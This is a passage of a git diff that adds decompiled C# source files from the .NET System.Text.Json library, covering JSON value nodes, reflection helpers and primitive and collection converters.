typeof(TypeToConvert) == typeof(ushort?)) + { + ushort value9; + bool result2 = jsonElement.TryGetUInt16(out value9); + result = (TypeToConvert)(object)value9; + return result2; + } + if (typeof(TypeToConvert) == typeof(ulong) || typeof(TypeToConvert) == typeof(ulong?)) + { + ulong value10; + bool result2 = jsonElement.TryGetUInt64(out value10); + result = (TypeToConvert)(object)value10; + return result2; + } + if (typeof(TypeToConvert) == typeof(sbyte) || typeof(TypeToConvert) == typeof(sbyte?)) + { + sbyte value11; + bool result2 = jsonElement.TryGetSByte(out value11); + result = (TypeToConvert)(object)value11; + return result2; + } + break; + case JsonValueKind.String: + if (typeof(TypeToConvert) == typeof(string)) + { + string text = jsonElement.GetString(); + result = (TypeToConvert)(object)text; + return true; + } + if (typeof(TypeToConvert) == typeof(DateTime) || typeof(TypeToConvert) == typeof(DateTime?)) + { + DateTime value12; + bool result2 = jsonElement.TryGetDateTime(out value12); + result = (TypeToConvert)(object)value12; + return result2; + } + if (typeof(TypeToConvert) == typeof(DateTimeOffset) || typeof(TypeToConvert) == typeof(DateTimeOffset?)) + { + DateTimeOffset value13; + bool result2 = jsonElement.TryGetDateTimeOffset(out value13); + result = (TypeToConvert)(object)value13; + return result2; + } + if (typeof(TypeToConvert) == typeof(Guid) || typeof(TypeToConvert) == typeof(Guid?)) + { + Guid value14; + bool result2 = jsonElement.TryGetGuid(out value14); + result = (TypeToConvert)(object)value14; + return result2; + } + if (typeof(TypeToConvert) == typeof(char) || typeof(TypeToConvert) == typeof(char?)) + { + string text2 = jsonElement.GetString(); + if (text2.Length == 1) + { + result = (TypeToConvert)(object)text2[0]; + return true; + } + } + break; + case JsonValueKind.True: + case JsonValueKind.False: + if (typeof(TypeToConvert) == typeof(bool) || typeof(TypeToConvert) == typeof(bool?)) + { + result = (TypeToConvert)(object)jsonElement.GetBoolean(); + return true; + } + break; + } + result = default(TypeToConvert); + return false; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonValueCustomized.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonValueCustomized.cs new file mode 100644 index 0000000..553ce06 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonValueCustomized.cs @@ -0,0 +1,34 @@ +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Nodes; + +internal sealed class JsonValueCustomized : JsonValue +{ + private readonly JsonTypeInfo _jsonTypeInfo; + + public JsonValueCustomized(TValue value, JsonTypeInfo jsonTypeInfo, JsonNodeOptions? options = null) + : base(value, options) + { + _jsonTypeInfo = jsonTypeInfo; + } + + public override void WriteTo(Utf8JsonWriter writer, JsonSerializerOptions options = null) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + JsonTypeInfo jsonTypeInfo = _jsonTypeInfo; + if (options != null && options != jsonTypeInfo.Options) + { + options.MakeReadOnly(); + jsonTypeInfo = (JsonTypeInfo)options.GetTypeInfoInternal(typeof(TValue), ensureConfigured: true, true); + } + jsonTypeInfo.Serialize(writer, in Value); + } + + internal override JsonNode DeepCloneCore() + { + return JsonSerializer.SerializeToNode(Value, _jsonTypeInfo); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonValuePrimitive.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonValuePrimitive.cs new file mode 100644 index 0000000..ca4eb9b --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonValuePrimitive.cs @@ -0,0 +1,48 @@ +using System.Text.Json.Serialization; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Nodes; + +internal sealed class JsonValuePrimitive : JsonValue +{ + private static readonly JsonSerializerOptions s_defaultOptions = new JsonSerializerOptions(); + + private readonly JsonConverter _converter; + + public JsonValuePrimitive(TValue value, JsonConverter converter, JsonNodeOptions? options = null) + : base(value, options) + { + _converter = converter; + } + + public override void WriteTo(Utf8JsonWriter writer, JsonSerializerOptions options = null) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + JsonConverter converter = _converter; + if (options == null) + { + options = s_defaultOptions; + } + if (converter.IsInternalConverterForNumberType) + { + converter.WriteNumberWithCustomHandling(writer, Value, options.NumberHandling); + } + else + { + converter.Write(writer, Value, options); + } + } + + internal override JsonNode DeepCloneCore() + { + TValue value = Value; + if (!(value is JsonElement jsonElement)) + { + return new JsonValuePrimitive(Value, _converter, base.Options); + } + return new JsonValuePrimitive(jsonElement.Clone(), JsonMetadataServices.JsonElementConverter, base.Options); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Reflection/ReflectionExtensions.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Reflection/ReflectionExtensions.cs new file mode 100644 index 0000000..82199c9 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Reflection/ReflectionExtensions.cs @@ -0,0 +1,391 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.ExceptionServices; +using System.Text.Json.Serialization; + +namespace System.Text.Json.Reflection; + +internal static class ReflectionExtensions +{ + private const string ImmutableArrayGenericTypeName = "System.Collections.Immutable.ImmutableArray`1"; + + private const string ImmutableListGenericTypeName = "System.Collections.Immutable.ImmutableList`1"; + + private const string ImmutableListGenericInterfaceTypeName = "System.Collections.Immutable.IImmutableList`1"; + + private const string ImmutableStackGenericTypeName = "System.Collections.Immutable.ImmutableStack`1"; + + private const string ImmutableStackGenericInterfaceTypeName = "System.Collections.Immutable.IImmutableStack`1"; + + private const string ImmutableQueueGenericTypeName = "System.Collections.Immutable.ImmutableQueue`1"; + + private const string ImmutableQueueGenericInterfaceTypeName = "System.Collections.Immutable.IImmutableQueue`1"; + + private const string ImmutableSortedSetGenericTypeName = "System.Collections.Immutable.ImmutableSortedSet`1"; + + private const string ImmutableHashSetGenericTypeName = "System.Collections.Immutable.ImmutableHashSet`1"; + + private const string ImmutableSetGenericInterfaceTypeName = "System.Collections.Immutable.IImmutableSet`1"; + + private const string ImmutableDictionaryGenericTypeName = "System.Collections.Immutable.ImmutableDictionary`2"; + + private const string ImmutableDictionaryGenericInterfaceTypeName = "System.Collections.Immutable.IImmutableDictionary`2"; + + private const string ImmutableSortedDictionaryGenericTypeName = "System.Collections.Immutable.ImmutableSortedDictionary`2"; + + private const string ImmutableArrayTypeName = "System.Collections.Immutable.ImmutableArray"; + + private const string ImmutableListTypeName = "System.Collections.Immutable.ImmutableList"; + + private const string ImmutableStackTypeName = "System.Collections.Immutable.ImmutableStack"; + + private const string ImmutableQueueTypeName = "System.Collections.Immutable.ImmutableQueue"; + + private const string ImmutableSortedSetTypeName = "System.Collections.Immutable.ImmutableSortedSet"; + + private const string ImmutableHashSetTypeName = "System.Collections.Immutable.ImmutableHashSet"; + + private const string ImmutableDictionaryTypeName = "System.Collections.Immutable.ImmutableDictionary"; + + private const string ImmutableSortedDictionaryTypeName = "System.Collections.Immutable.ImmutableSortedDictionary"; + + public const string CreateRangeMethodName = "CreateRange"; + + private static readonly Type s_nullableType = typeof(Nullable<>); + + public static Type GetCompatibleGenericBaseClass(this Type type, Type baseType) + { + if ((object)baseType == null) + { + return null; + } + Type type2 = type; + while (type2 != null && type2 != typeof(object)) + { + if (type2.IsGenericType) + { + Type genericTypeDefinition = type2.GetGenericTypeDefinition(); + if (genericTypeDefinition == baseType) + { + return type2; + } + } + type2 = type2.BaseType; + } + return null; + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2070:UnrecognizedReflectionPattern", Justification = "The 'interfaceType' must exist and so trimmer kept it. In which case It also kept it on any type which implements it. The below call to GetInterfaces may return fewer results when trimmed but it will return the 'interfaceType' if the type implemented it, even after trimming.")] + public static Type GetCompatibleGenericInterface(this Type type, Type interfaceType) + { + if ((object)interfaceType == null) + { + return null; + } + Type type2 = type; + if (type2.IsGenericType) + { + type2 = type2.GetGenericTypeDefinition(); + } + if (type2 == interfaceType) + { + return type; + } + Type[] interfaces = type.GetInterfaces(); + foreach (Type type3 in interfaces) + { + if (type3.IsGenericType) + { + Type genericTypeDefinition = type3.GetGenericTypeDefinition(); + if (genericTypeDefinition == interfaceType) + { + return type3; + } + } + } + return null; + } + + public static bool IsImmutableDictionaryType(this Type type) + { + if (!type.IsGenericType || !type.Assembly.FullName.StartsWith("System.Collections.Immutable", StringComparison.Ordinal)) + { + return false; + } + switch (GetBaseNameFromGenericType(type)) + { + case "System.Collections.Immutable.ImmutableDictionary`2": + case "System.Collections.Immutable.IImmutableDictionary`2": + case "System.Collections.Immutable.ImmutableSortedDictionary`2": + return true; + default: + return false; + } + } + + public static bool IsImmutableEnumerableType(this Type type) + { + if (!type.IsGenericType || !type.Assembly.FullName.StartsWith("System.Collections.Immutable", StringComparison.Ordinal)) + { + return false; + } + switch (GetBaseNameFromGenericType(type)) + { + case "System.Collections.Immutable.ImmutableStack`1": + case "System.Collections.Immutable.IImmutableList`1": + case "System.Collections.Immutable.ImmutableArray`1": + case "System.Collections.Immutable.ImmutableQueue`1": + case "System.Collections.Immutable.IImmutableSet`1": + case "System.Collections.Immutable.ImmutableList`1": + case "System.Collections.Immutable.IImmutableQueue`1": + case "System.Collections.Immutable.IImmutableStack`1": + case "System.Collections.Immutable.ImmutableSortedSet`1": + case "System.Collections.Immutable.ImmutableHashSet`1": + return true; + default: + return false; + } + } + + public static string GetImmutableDictionaryConstructingTypeName(this Type type) + { + switch (GetBaseNameFromGenericType(type)) + { + case "System.Collections.Immutable.ImmutableDictionary`2": + case "System.Collections.Immutable.IImmutableDictionary`2": + return "System.Collections.Immutable.ImmutableDictionary"; + case "System.Collections.Immutable.ImmutableSortedDictionary`2": + return "System.Collections.Immutable.ImmutableSortedDictionary"; + default: + return null; + } + } + + public static string GetImmutableEnumerableConstructingTypeName(this Type type) + { + switch (GetBaseNameFromGenericType(type)) + { + case "System.Collections.Immutable.ImmutableArray`1": + return "System.Collections.Immutable.ImmutableArray"; + case "System.Collections.Immutable.IImmutableList`1": + case "System.Collections.Immutable.ImmutableList`1": + return "System.Collections.Immutable.ImmutableList"; + case "System.Collections.Immutable.ImmutableStack`1": + case "System.Collections.Immutable.IImmutableStack`1": + return "System.Collections.Immutable.ImmutableStack"; + case "System.Collections.Immutable.ImmutableQueue`1": + case "System.Collections.Immutable.IImmutableQueue`1": + return "System.Collections.Immutable.ImmutableQueue"; + case "System.Collections.Immutable.ImmutableSortedSet`1": + return "System.Collections.Immutable.ImmutableSortedSet"; + case "System.Collections.Immutable.IImmutableSet`1": + case "System.Collections.Immutable.ImmutableHashSet`1": + return "System.Collections.Immutable.ImmutableHashSet"; + default: + return null; + } + } + + private static string GetBaseNameFromGenericType(Type genericType) + { + Type genericTypeDefinition = genericType.GetGenericTypeDefinition(); + return genericTypeDefinition.FullName; + } + + public static bool IsVirtual(this PropertyInfo propertyInfo) + { + MethodInfo? getMethod = propertyInfo.GetMethod; + if ((object)getMethod == null || !getMethod.IsVirtual) + { + return propertyInfo.SetMethod?.IsVirtual ?? false; + } + return true; + } + + public static bool IsKeyValuePair(this Type type) + { + if (type.IsGenericType) + { + return type.GetGenericTypeDefinition() == typeof(KeyValuePair<, >); + } + return false; + } + + public static bool TryGetDeserializationConstructor([DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicConstructors | DynamicallyAccessedMemberTypes.NonPublicConstructors)] this Type type, bool useDefaultCtorInAnnotatedStructs, out ConstructorInfo deserializationCtor) + { + ConstructorInfo constructorInfo = null; + ConstructorInfo constructorInfo2 = null; + ConstructorInfo constructorInfo3 = null; + ConstructorInfo[] constructors = type.GetConstructors(BindingFlags.Instance | BindingFlags.Public); + if (constructors.Length == 1) + { + constructorInfo3 = constructors[0]; + } + ConstructorInfo[] array = constructors; + foreach (ConstructorInfo constructorInfo4 in array) + { + if (HasJsonConstructorAttribute(constructorInfo4)) + { + if (constructorInfo != null) + { + deserializationCtor = null; + return false; + } + constructorInfo = constructorInfo4; + } + else if (constructorInfo4.GetParameters().Length == 0) + { + constructorInfo2 = constructorInfo4; + } + } + ConstructorInfo[] constructors2 = type.GetConstructors(BindingFlags.Instance | BindingFlags.NonPublic); + foreach (ConstructorInfo constructorInfo5 in constructors2) + { + if (HasJsonConstructorAttribute(constructorInfo5)) + { + if (constructorInfo != null) + { + deserializationCtor = null; + return false; + } + constructorInfo = constructorInfo5; + } + } + if (useDefaultCtorInAnnotatedStructs && type.IsValueType && constructorInfo == null) + { + deserializationCtor = null; + return true; + } + deserializationCtor = constructorInfo ?? constructorInfo2 ?? constructorInfo3; + return true; + } + + public static object GetDefaultValue(this ParameterInfo parameterInfo) + { + Type parameterType = parameterInfo.ParameterType; + object defaultValue = parameterInfo.DefaultValue; + if (defaultValue == null) + { + return null; + } + if (defaultValue == DBNull.Value && parameterType != typeof(DBNull)) + { + return null; + } + if (parameterType.IsEnum) + { + return Enum.ToObject(parameterType, defaultValue); + } + Type underlyingType = Nullable.GetUnderlyingType(parameterType); + if ((object)underlyingType != null && underlyingType.IsEnum) + { + return Enum.ToObject(underlyingType, defaultValue); + } + return defaultValue; + } + + [RequiresUnreferencedCode("Should only be used by the reflection-based serializer.")] + public static Type[] GetSortedTypeHierarchy(this Type type) + { + if (!type.IsInterface) + { + List list = new List(); + Type type2 = type; + while (type2 != null) + { + list.Add(type2); + type2 = type2.BaseType; + } + return list.ToArray(); + } + return JsonHelpers.TraverseGraphWithTopologicalSort(type, (Type t) => t.GetInterfaces()); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsNullableOfT(this Type type) + { + if (type.IsGenericType) + { + return type.GetGenericTypeDefinition() == s_nullableType; + } + return false; + } + + public static bool IsAssignableFromInternal(this Type type, Type from) + { + if (from.IsNullableOfT() && type.IsInterface) + { + return type.IsAssignableFrom(from.GetGenericArguments()[0]); + } + return type.IsAssignableFrom(from); + } + + public static bool IsInSubtypeRelationshipWith(this Type type, Type other) + { + if (!type.IsAssignableFromInternal(other)) + { + return other.IsAssignableFromInternal(type); + } + return true; + } + + private static bool HasJsonConstructorAttribute(ConstructorInfo constructorInfo) + { + return constructorInfo.GetCustomAttribute() != null; + } + + public static bool HasRequiredMemberAttribute(this MemberInfo memberInfo) + { + return memberInfo.HasCustomAttributeWithName("System.Runtime.CompilerServices.RequiredMemberAttribute", inherit: false); + } + + public static bool HasSetsRequiredMembersAttribute(this MemberInfo memberInfo) + { + return memberInfo.HasCustomAttributeWithName("System.Diagnostics.CodeAnalysis.SetsRequiredMembersAttribute", inherit: false); + } + + private static bool HasCustomAttributeWithName(this MemberInfo memberInfo, string fullName, bool inherit) + { + object[] customAttributes = memberInfo.GetCustomAttributes(inherit); + foreach (object obj in customAttributes) + { + if (obj.GetType().FullName == fullName) + { + return true; + } + } + return false; + } + + public static TAttribute GetUniqueCustomAttribute(this MemberInfo memberInfo, bool inherit) where TAttribute : Attribute + { + object[] customAttributes = memberInfo.GetCustomAttributes(typeof(TAttribute), inherit); + if (customAttributes.Length == 0) + { + return null; + } + if (customAttributes.Length == 1) + { + return (TAttribute)customAttributes[0]; + } + ThrowHelper.ThrowInvalidOperationException_SerializationDuplicateAttribute(typeof(TAttribute), memberInfo); + return null; + } + + public static object CreateInstanceNoWrapExceptions([DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.NonPublicConstructors)] this Type type, Type[] parameterTypes, object[] parameters) + { + ConstructorInfo constructor = type.GetConstructor(BindingFlags.Instance | BindingFlags.NonPublic, null, parameterTypes, null); + object result = null; + try + { + result = constructor.Invoke(parameters); + } + catch (TargetInvocationException ex) + { + ExceptionDispatchInfo.Capture(ex.InnerException).Throw(); + } + return result; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ArrayConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ArrayConverter.cs new file mode 100644 index 0000000..a84de56 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ArrayConverter.cs @@ -0,0 +1,58 @@ +using System.Collections.Generic; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ArrayConverter : IEnumerableDefaultConverter +{ + internal override bool CanHaveMetadata => false; + + internal override bool SupportsCreateObjectDelegate => false; + + protected override void Add(in TElement value, ref ReadStack state) + { + ((List)state.Current.ReturnValue).Add(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + state.Current.ReturnValue = new List(); + } + + protected override void ConvertCollection(ref ReadStack state, JsonSerializerOptions options) + { + List list = (List)state.Current.ReturnValue; + state.Current.ReturnValue = list.ToArray(); + } + + protected override bool OnWriteResume(Utf8JsonWriter writer, TElement[] array, JsonSerializerOptions options, ref WriteStack state) + { + int i = state.Current.EnumeratorIndex; + JsonConverter elementConverter = JsonCollectionConverter.GetElementConverter(ref state); + if (elementConverter.CanUseDirectReadOrWrite && !state.Current.NumberHandling.HasValue) + { + for (; i < array.Length; i++) + { + elementConverter.Write(writer, array[i], options); + } + } + else + { + for (; i < array.Length; i++) + { + TElement value = array[i]; + if (!elementConverter.TryWrite(writer, in value, options, ref state)) + { + state.Current.EnumeratorIndex = i; + return false; + } + state.Current.EndCollectionElement(); + if (JsonConverter.ShouldFlush(writer, ref state)) + { + i = (state.Current.EnumeratorIndex = i + 1); + return false; + } + } + } + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/BooleanConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/BooleanConverter.cs new file mode 100644 index 0000000..8b8358d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/BooleanConverter.cs @@ -0,0 +1,31 @@ +using System.Buffers.Text; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class BooleanConverter : JsonPrimitiveConverter +{ + public override bool Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetBoolean(); + } + + public override void Write(Utf8JsonWriter writer, bool value, JsonSerializerOptions options) + { + writer.WriteBooleanValue(value); + } + + internal override bool ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + ReadOnlySpan span = reader.GetSpan(); + if (!Utf8Parser.TryParse(span, out bool value, out int bytesConsumed, '\0') || span.Length != bytesConsumed) + { + ThrowHelper.ThrowFormatException(DataType.Boolean); + } + return value; + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, bool value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ByteArrayConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ByteArrayConverter.cs new file mode 100644 index 0000000..e0ee72d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ByteArrayConverter.cs @@ -0,0 +1,25 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ByteArrayConverter : JsonConverter +{ + public override byte[] Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.Null) + { + return null; + } + return reader.GetBytesFromBase64(); + } + + public override void Write(Utf8JsonWriter writer, byte[] value, JsonSerializerOptions options) + { + if (value == null) + { + writer.WriteNullValue(); + } + else + { + writer.WriteBase64StringValue(value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ByteConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ByteConverter.cs new file mode 100644 index 0000000..8ac5639 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ByteConverter.cs @@ -0,0 +1,50 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ByteConverter : JsonPrimitiveConverter +{ + public ByteConverter() + { + base.IsInternalConverterForNumberType = true; + } + + public override byte Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetByte(); + } + + public override void Write(Utf8JsonWriter writer, byte value, JsonSerializerOptions options) + { + writer.WriteNumberValue(value); + } + + internal override byte ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetByteWithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, byte value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override byte ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String && (JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetByteWithQuotes(); + } + return reader.GetByte(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, byte value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else + { + writer.WriteNumberValue(value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/CastingConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/CastingConverter.cs new file mode 100644 index 0000000..e48029c --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/CastingConverter.cs @@ -0,0 +1,83 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class CastingConverter : JsonConverter +{ + private readonly JsonConverter _sourceConverter; + + internal override Type KeyType => _sourceConverter.KeyType; + + internal override Type ElementType => _sourceConverter.ElementType; + + public override bool HandleNull { get; } + + internal override bool SupportsCreateObjectDelegate => _sourceConverter.SupportsCreateObjectDelegate; + + internal override JsonConverter SourceConverterForCastingConverter => _sourceConverter; + + internal CastingConverter(JsonConverter sourceConverter) + { + _sourceConverter = sourceConverter; + base.IsInternalConverter = sourceConverter.IsInternalConverter; + base.IsInternalConverterForNumberType = sourceConverter.IsInternalConverterForNumberType; + base.ConverterStrategy = sourceConverter.ConverterStrategy; + base.CanBePolymorphic = sourceConverter.CanBePolymorphic; + base.HandleNullOnRead = sourceConverter.HandleNullOnRead; + base.HandleNullOnWrite = sourceConverter.HandleNullOnWrite; + HandleNull = sourceConverter.HandleNullOnWrite; + } + + public override T Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return JsonSerializer.UnboxOnRead(_sourceConverter.ReadAsObject(ref reader, typeToConvert, options)); + } + + public override void Write(Utf8JsonWriter writer, T value, JsonSerializerOptions options) + { + _sourceConverter.WriteAsObject(writer, value, options); + } + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out T value) + { + object value2; + bool result = _sourceConverter.OnTryReadAsObject(ref reader, typeToConvert, options, ref state, out value2); + value = JsonSerializer.UnboxOnRead(value2); + return result; + } + + internal override bool OnTryWrite(Utf8JsonWriter writer, T value, JsonSerializerOptions options, ref WriteStack state) + { + return _sourceConverter.OnTryWriteAsObject(writer, value, options, ref state); + } + + public override T ReadAsPropertyName(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return JsonSerializer.UnboxOnRead(_sourceConverter.ReadAsPropertyNameAsObject(ref reader, typeToConvert, options)); + } + + internal override T ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return JsonSerializer.UnboxOnRead(_sourceConverter.ReadAsPropertyNameCoreAsObject(ref reader, typeToConvert, options)); + } + + public override void WriteAsPropertyName(Utf8JsonWriter writer, [DisallowNull] T value, JsonSerializerOptions options) + { + _sourceConverter.WriteAsPropertyNameAsObject(writer, value, options); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, T value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + _sourceConverter.WriteAsPropertyNameCoreAsObject(writer, value, options, isWritingExtensionDataProperty); + } + + internal override T ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + return JsonSerializer.UnboxOnRead(_sourceConverter.ReadNumberWithCustomHandlingAsObject(ref reader, handling, options)); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, T value, JsonNumberHandling handling) + { + _sourceConverter.WriteNumberWithCustomHandlingAsObject(writer, value, handling); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/CharConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/CharConverter.cs new file mode 100644 index 0000000..3df63e0 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/CharConverter.cs @@ -0,0 +1,41 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class CharConverter : JsonPrimitiveConverter +{ + private const int MaxEscapedCharacterLength = 6; + + public override char Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + JsonTokenType tokenType = reader.TokenType; + if ((tokenType != JsonTokenType.PropertyName && tokenType != JsonTokenType.String) || 1 == 0) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedString(reader.TokenType); + } + if (!JsonHelpers.IsInRangeInclusive(reader.ValueLength, 1, 6)) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedChar(reader.TokenType); + } + Span destination = stackalloc char[6]; + int num = reader.CopyString(destination); + if (num != 1) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedChar(reader.TokenType); + } + return destination[0]; + } + + public override void Write(Utf8JsonWriter writer, char value, JsonSerializerOptions options) + { + writer.WriteStringValue(value.ToString()); + } + + internal override char ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return Read(ref reader, typeToConvert, options); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, char value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value.ToString()); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ConcurrentQueueOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ConcurrentQueueOfTConverter.cs new file mode 100644 index 0000000..c04947f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ConcurrentQueueOfTConverter.cs @@ -0,0 +1,13 @@ +using System.Collections.Concurrent; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ConcurrentQueueOfTConverter : IEnumerableDefaultConverter where TCollection : ConcurrentQueue +{ + internal override bool CanPopulate => true; + + protected override void Add(in TElement value, ref ReadStack state) + { + ((TCollection)state.Current.ReturnValue).Enqueue(value); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ConcurrentStackOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ConcurrentStackOfTConverter.cs new file mode 100644 index 0000000..0702815 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ConcurrentStackOfTConverter.cs @@ -0,0 +1,13 @@ +using System.Collections.Concurrent; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ConcurrentStackOfTConverter : IEnumerableDefaultConverter where TCollection : ConcurrentStack +{ + internal override bool CanPopulate => true; + + protected override void Add(in TElement value, ref ReadStack state) + { + ((TCollection)state.Current.ReturnValue).Push(value); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DateTimeConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DateTimeConverter.cs new file mode 100644 index 0000000..5717c11 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DateTimeConverter.cs @@ -0,0 +1,24 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class DateTimeConverter : JsonPrimitiveConverter +{ + public override DateTime Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetDateTime(); + } + + public override void Write(Utf8JsonWriter writer, DateTime value, JsonSerializerOptions options) + { + writer.WriteStringValue(value); + } + + internal override DateTime ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetDateTimeNoValidation(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, DateTime value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DateTimeOffsetConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DateTimeOffsetConverter.cs new file mode 100644 index 0000000..adbd7ff --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DateTimeOffsetConverter.cs @@ -0,0 +1,24 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class DateTimeOffsetConverter : JsonPrimitiveConverter +{ + public override DateTimeOffset Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetDateTimeOffset(); + } + + public override void Write(Utf8JsonWriter writer, DateTimeOffset value, JsonSerializerOptions options) + { + writer.WriteStringValue(value); + } + + internal override DateTimeOffset ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetDateTimeOffsetNoValidation(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, DateTimeOffset value, JsonSerializerOptions options, bool 